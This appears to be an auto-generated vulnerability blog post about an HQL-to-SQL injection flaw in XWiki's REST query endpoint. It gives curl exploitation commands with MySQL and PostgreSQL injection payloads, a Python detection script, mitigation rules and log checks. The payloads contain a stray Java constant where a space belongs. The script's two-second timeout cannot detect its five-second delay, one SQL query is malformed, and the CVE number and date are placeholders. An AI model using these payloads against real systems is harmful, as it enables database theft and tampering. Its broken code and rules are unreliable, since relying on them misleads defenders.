Listen to this Post
How the CVE Works
The vulnerability allows unauthenticated attackers to bypass HQL (Hibernate Query Language) restrictions and execute arbitrary SQL commands on the database backend. By crafting malicious HQL queries, attackers escape the intended query context and inject SQL payloads. For MySQL/MariaDB, time-based blind SQL injection is possible via `sleep()` functions, while PostgreSQL allows concatenation-based exploitation. The flaw persists even when security settings restrict unauthenticated access. Attackers can exfiltrate sensitive data (password hashes) or manipulate database entries (UPDATE/INSERT/DELETE). The exploit leverages improper input sanitization in XWiki’s REST query endpoint (/rest/wikis/xwiki/query), enabling database-specific payloads to bypass HQL safeguards.
DailyCVE Form
Platform: XWiki
Version: <16.10.1, <16.4.6, <15.10.16
Vulnerability: HQL Injection
Severity: Critical
Date: 2024-XX-XX
What Undercode Say:
Exploitation Commands
1. MySQL/MariaDB Time-Based Detection:
curl "http://target/rest/wikis/xwiki/query?q=where%20doc.name=length('a')org.apache.logging.log4j.util.Chars.SPACE%20or%201%3C%3E%271%5C%27%27%20union%20select%201,2,3,sleep(10)%20%23%27&type=hql&distinct=0"
2. PostgreSQL Payload:
curl "http://target/rest/wikis/xwiki/query?q=where%20%24%24='%24%24=concat(%20chr(%2061%20),(chr(%2039%20))%20)%20;select%201%20--%20comment'&type=hql&distinct=0"
Detection Script (Python)
import requests
target = "http://target/rest/wikis/xwiki/query"
payload = "q=where doc.name=length('a')org.apache.logging.log4j.util.Chars.SPACE or 1<>'1\'' union select 1,2,3,sleep(5) '&type=hql"
response = requests.get(target, params=payload, timeout=2)
if response.elapsed.total_seconds() >= 5:
print("Vulnerable to CVE-2024-XXXX")
Mitigation Steps
1. Immediate Patching:
Upgrade to fixed versions: wget https://download.xwiki.org/xwiki-war-16.10.1.zip
2. WAF Rules:
location /rest/wikis/xwiki/query {
deny all; Temporary block until patch
}
3. Database Hardening:
REVOKE EXECUTE ON FUNCTION pg_sleep FROM PUBLIC; -- PostgreSQL
Forensic Analysis
1. Log Inspection:
grep -r "rest/wikis/xwiki/query" /var/log/xwiki/
2. Database Audit:
SELECT FROM mysql.general_log WHERE argument LIKE '%sleep(%';
References
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
